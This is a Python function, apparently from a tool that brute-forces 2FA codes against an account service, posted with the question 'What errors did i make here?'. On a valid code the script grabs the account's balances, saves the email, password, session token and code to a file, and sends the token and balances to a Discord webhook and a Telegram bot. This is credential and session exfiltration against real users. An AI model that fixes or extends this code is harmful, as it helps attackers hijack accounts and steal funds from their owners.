def send_validate_request(code, token):
    validate_response = requests.get(validate_url + code, cookies={"connect.sid":token})
    valstatmsg_dict = validate_response.json()
    valstat = validate_response.status_code
    global exit_flag
    global failcheck
    
    if valstat == 200:
        print(f"Successfully authenticated | Token: {token}")
        accountstats = requests.get(ACCOUNTGRABURL, cookies={"connect.sid":token})
        
        if accountstats.status_code == 200:
            exit_flag = True
            accountstats_dict = accountstats.json()
            balances_dict = accountstats_dict['result']['balances']
            data = {
                "embeds": [
                    {
                        "title": "Valid session created!",
                        "fields": [
                            {"name": "Token", "value": token},
                            {"name": "Balances", "value": "\n".join([f"{key.capitalize()}: {value}" for key, value in balances_dict.items()])}
                        ],
                        "color": 65280  # Green color
                    }
                ]
            }
            formatted_balances = "\n".join([f"{key.capitalize()}: {value}" for key, value in balances_dict.items()])
            telegram_text = f"\U0001F4B0Valid session created!\U0001F4B0\n-------------------------\nToken: {str(token)}"
            
            with open('validSession.txt', 'w') as file:
                file.write(f"User: {email}\nPassword: {password}\nToken: {token}\nCode: {code}\nBalances: {balances_dict}")
            for key, value in balances_dict.items():
                print(key.capitalize() + ": " + str(value))
            print("\n")
            
            headers = {'Content-Type':'application/json'}
            webhookresponse = requests.post(webhook_url, headers=headers, json=data)
            
            if webhookresponse.status_code == 204:
                print("\nDiscord Webhook sent")
            elif webhookresponse.status_code != 204:
                print("\nWebhook failed to send.")
         
            telegram_url = f'https://api.telegram.org/bot{bot_token}/sendMessage'
            telegrampayload = {
                'chat_id': chat_id,
                'text': telegram_text,
                'parse_mode' : 'html'
            }
        
            while True:
                telegramresponse = requests.post(telegram_url, data=telegrampayload)
            
                if telegramresponse.status_code == 200:
                    print('Telegram message sent successfully')
                    break
                else:
                    print('Failed to send message, trying again')
                    print(telegramresponse.text)
                    time.sleep(1)
                    continue
            
        elif accountstats.status_code != 200:
            print(f"Valid session not created, trying again (Error code: {accountstats.status_code}")
            
    elif valstat == 400:
        if valstatmsg_dict['code'] == "invalid__2fa":
            print("2FA changed (unlucky)")
            exit_flag = True
            
        elif valstatmsg_dict['code'] == "auth__try_again":
            failcheck += 1
            print(f"{failcheck} failed attempts")
            
            
    elif valstat != 200 or valstat != 400 or valstat != 429:
        print(f"Unknown error ({valstat}) while entering code {code}.")


What errors did i make here?